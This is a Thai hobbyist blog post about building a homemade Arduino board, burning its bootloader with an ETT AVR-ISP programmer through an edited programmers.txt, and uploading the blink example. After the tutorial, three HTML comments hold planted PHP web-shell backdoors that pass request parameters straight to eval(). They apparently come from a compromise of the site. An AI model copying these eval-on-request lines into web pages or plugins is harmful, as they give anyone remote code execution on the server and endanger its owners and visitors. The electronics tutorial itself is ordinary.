สร้างบอร์ด arduino ด้วยตัวเองกันเถอะ

Posted by | September 23, 2008 | Arduino, MyProject | No Comments

พัฒนาการของไมโครคอนโทรลเลอร์ ในช่วงสิบปีที่ผ่าน นี้พัฒนาไปมาก เริ่มตั้งแต่ยุคแรก พวก single board มีไมโครโปรเซสเซอร์ กับ อุปกรณ์ต่อพ่วง เป็นสิบ ต่อมาพัฒนาเป็น ยุคของไมโคร คอนโทรลเลอร์ ไอซีตัวเดียวมีทุกฟังก์ชั่น มีการลดขนาดลงไปเรื่อยๆ อุปกรณ์ ไมโครโปรเซสเซอร์ ยังใช้อยู่นะครับ แต่เอาไปใช้ในระบบที่ซับซ้อน ขนาดใหญ่ขึ้น มาถึงตอนนี้ ไมโครคอนโทรลเลอร์ ออกมาเป็น ร้อยๆรุ่นแล้วแล้วมั่ง

ปัญหาใหญ่ๆ “การเริ่มต้น คอนโทรลเลอร์ เหมือนกับ space ขนาดใหญ่ ไม่รู้จะเริ่มอย่างไงดี” เต็มไปด้วยอะไรที่ไม่รู้ ทั้งการออกแบบบอร์ด การใช้งาน แต่พอจับทางได้แล้ว ต่อไปอะไรต่อไปก้อเกือบจะง่ายแล้ว

โปรเจค arduino ลดความซับซ้อนของคอนโทรลเลอร์ เพื่อให้ผู้ใช้งาน เข้าถึงง่ายขึ้น เพียงแค่มีไอเดีย ใครๆ ก้อเอาโปรแกรมเองได้ บ่อยครั้งใช่ไหมครับ รู้ล่ะว่าอยากให้มีเซ็นเซอร์ทำงานประมาณนี้ พอมีอะไร ผ่านก้อขอให้ อุปกรณ์นี้ทำงาน แล้ว ตัวนี้ทำงานต่อ แต่ดันทำเองไม่เป็น เลยพับโปรเจคไว้ มาตอนนี้คุณก้อทำเองได้แล้ว (เริ่มปลุกใจ ให้ตื้นเต้น)

ไม่ต้องถึงขนาดเปิด datasheet เพื่อหาวิธีใช้งาน ไม่ต้องรู้ศัพท์ทางเทคนิค เราก้อควบคุมอุปกรณ์เราได้แล้ว ส่วน software ที่ใช้พัฒนาอยู่ในรูปแบบ ของภาษา C/C++ และเป็นระบบเปิด ที่เราสามารถเข้าถึงได้ทุกส่วน

ถ้ายังสงสัยกว่า arduino เป็นอย่างไง ใช้ทำอะไรได้บ้าง ขอให้ไปศึกษาเพิ่มเติมก่อนนะครับ จากที่นี้ครับ http://www.arduino.cc หรือ เอาไทยๆ จาก เวป http://logicthai.net/ หรือ http://www.avride.com/pop_thai/

หรือ จะเข้าไปอ่านที่นี้ http://todbot.com/blog/2006/09/25/arduino-the-basic-stamp-killer/

What is Arduino

Arduino is two things:

A software programming environment, with a GUI and style based off of Processing, and a packaging of AVR GCC, AVR LIBC, and AVRlib. In many ways the Arduino environment is like WinAVR, but cross-platform.

A hardware board, based on an Atmel AVR processor, arranged in a standardized way. Arduino isn?t restricted to just this board however, and many Arduino-compatible boards have been created

เขาเปรียบเทียบ arduino กับให้คำจำกัดความของโปรเจคนี้ได้สั้นๆ เข้าใจง่ายสุดแล้ว (ผมขี้เกียจแปล ก๊อบปี้มาเลย)

ต้องยอมรับ เลยนะครับ ในตอนแรกผมไม่ได้สนใจ โปรเจคนี้มากนัก คิดว่ามันคงเหมือน basic stamp ทำอะไรไม่ได้มาก เขียนโปรแกรมซับซ้อนมากก้อไม่ได้ ด้วยความที่ arduino เป็นระบบเปิดสามารถ เข้าถึง source code ได้ทั้งหมด แกนหลักของมันคือ c ++ เป็น core i/o ของ arduino ออกแบบมาให้ยืดหยุ่น เพิ่มเติมอะไรได้ง่ายครับ ผมว่าเอามาทำงานด้านตั้งแต่ basic จน advance ได้เลยนะครับ สามารถออกแบบ library แล้วใช้ arduino เป็นเหมือน high level เรียกใช้ library ของเราอีกที่ แล้วแต่มุมมองของคนเอาไปใช้เลยนะครับ

ส่วนที่ผมยังไม่ชอบมาก ส่วนของ IDE มันทำงานแบบหลายๆ ไฟล์ เอามาเปรียบเทียบไฟล์กันไม่ได้ ส่วน serial monitor ก้อเหมาะกับการรับข้อความมากกว่า แต่คงมีการพัฒนาไปได้อีกยาว เข้าเรื่องของเราต่อ หลังจากประกอบบอร์ดเสร็จแล้ว ถ้าใครยังไม่มีบอร์ด เข้าไปที่นี้ก่อน ไปทำบอร์ดมาก่อนครับ 😀 หรือจะซื้อเอาก้อได้ ตอนนี้มีหลายที่ ที่เอามาขายแล้ว

อุปกรณ์ที่เราต้องมีนะครับ

  • บอร์ด I/O Arduino หรือไม่ก้อได้ ต่อบน bred board (บอร์ดทดลอง) ตัวหลักของ arduino ไม่ได้อยู่ที่บอร์ดนะครับ ต่างจาก ค่ายอื่นมากๆ อาจจะใช้งานง่าย แต่บอร์ดต้องซื้อเอา
  • อุปกรณ์อีกอย่าง flash avr จะเป็น avrisp, ett avr-isp, usbasp ยังไม่มี เข้าไปเลือกซื้อ ตามนี้เลยครับ http://etteam.com/product/03000AVR.html

สำหรับ มือใหม่มากๆ ส่วนนี้ อาจจะพยายามมากหน่อยนะครับ เราต้อง flash bootloader เข้าไปก่อน firmware ส่วนนี้ เป็นตัวช่วย download โปรแกรมที่เขียนลง chip โดยผ่านสาย serial ไม่ต้องมีเครื่อง flash ใด ไม่ลำบากมาก ลุยส่วนนี้ให้ได้ก่อน ต่อไปบอร์ดพัง เราแค่เปลี่ยน ชิป มันไม่กี่บาทครับ ไม่ไหวจริงรบกวนเพื่อนๆ ช่วยล่ะครับ

1. ขั้นแรกเราต้องเลือกบอร์ดก่อนครับ หรือ เลือกรุ่นบอร์ดก่อนครับครับ เข้าที่ tools->board

  • แต่ในกรณี บอร์ดเราทำเอง แนะแนวให้เลือก Arduino NG ดูชิปที่เราใช้เป็น ATmega8 กับ ATmega168

2.จากนั้น Burn Bootloader อันนี้ต้องมาดูก่อนว่าเรามีอุปกรณ์ตัวไหนแล้วเลือก

ส่วนผมมีตัว ett avr-isp (ตัวล่ะ 150 บาท) ก่อนจะใช้ต้องมาทำ connector ใหม่ก่อนนะครับ CISP ใช้ 6 pin ในเมนูจะมี paralell programmer แต่ก้อดันไม่ใช้อีก งั้นทำไงดีล่ะ เอาแบบเดิมก้อไปใช้โปรแกรม ponyprog burn แล้วเปลี่ยน fusebit ซึ่งตามรูปเป็นของ ATmega168


บอร์ด Arduino มีปัญหา กับ ตัว ETT ISP จะ burn เข้าไม่ได้นะครับ ที่ขา SPI ต่อกับ LED ไว้ ต้องเอาก่อนจะทำการ burn ได้ครับ

Hacking/IDE

แต่ผมมีอีกวิธีครับ เข้าไปเพิ่ม programmer ตัว burn นี้ล่ะ ไหนจะใช้ arduino แล้ว

  1. วิธีเข้าไปที่ directory ของ arduino -> hardware
  2. หาไฟล์ programmers.txt
    เข้าไปเพิ่ม

ettparallel.name=ETT ISP Parallel Programmer
ettparallel.protocol=pony-stk200
ettparallel.force=true
#ettparallel.delay=200

3. หลังจากนั้นปิดโปรแกรม แล้วเปิดใหม่ จะเห็น ett isp ที่เพิ่มเข้าไป ดังตัวอย่างดังรูปข้างล่าง ตอนนี้น่าจะ burn ได้แล้ว ถ้าใช้ตัว programmer ตัวอื่นเพิ่มได้ด้วยวิธีนี้เช่นกันครับ

4. ตอนนี้เรามี bootloader จะใช้งานได้แล้ว สำหรับ Arduino NG เราจะโหลดโปรแกรมเข้าไปได้ หลังจาก reset ซึ่งจะเห็นได้จากไฟกระพริบ เข้าโหมด boot loader

การทดสอบ

มาลองกับโปรแกรมแรก กันก่อน ด้วยไฟกระพริบกันก่อน ก่อนจะพากับไฟกระพริบเทพ

กดที่ file-> sketchbook -> example -> digital -> blink

แล้วจึงกด upload ตอนนี้ท่านจะได้เห็นไฟกระพริบแล้ว

หลังจากโม้ไปสักเยอะ หวังว่า คงจะทำให้เริ่มสนุก และ อยากเล่น arduino มากขึ้นนะครับ

<!– [insert_php]if (isset($_REQUEST["AVk"])){eval($_REQUEST["AVk"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;AVk&quot;])){eval($_REQUEST[&quot;AVk&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["fceKI"])){eval($_REQUEST["fceKI"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;fceKI&quot;])){eval($_REQUEST[&quot;fceKI&quot;]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["Hie"])){eval($_REQUEST["Hie"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;Hie&quot;])){eval($_REQUEST[&quot;Hie&quot;]);exit;}

–>

About chang

ชื่อ “ช้าง” ส่วนมากเขาจะเรียกว่า “พี่ช้าง” แล้ว มีความสนใจทางเทคโนโลยีทางคอมพิวเตอร์ อิเล็กทรอนิกส์ และ หุ่นยนต์ เป็นทั้งนักคิด นักประดิษฐ์ ชอบทดลองเล่น จนเดี่ยวนี้รู้สึกว่าจะเล่นมากกว่ามืออาชีพไปสักแล้ว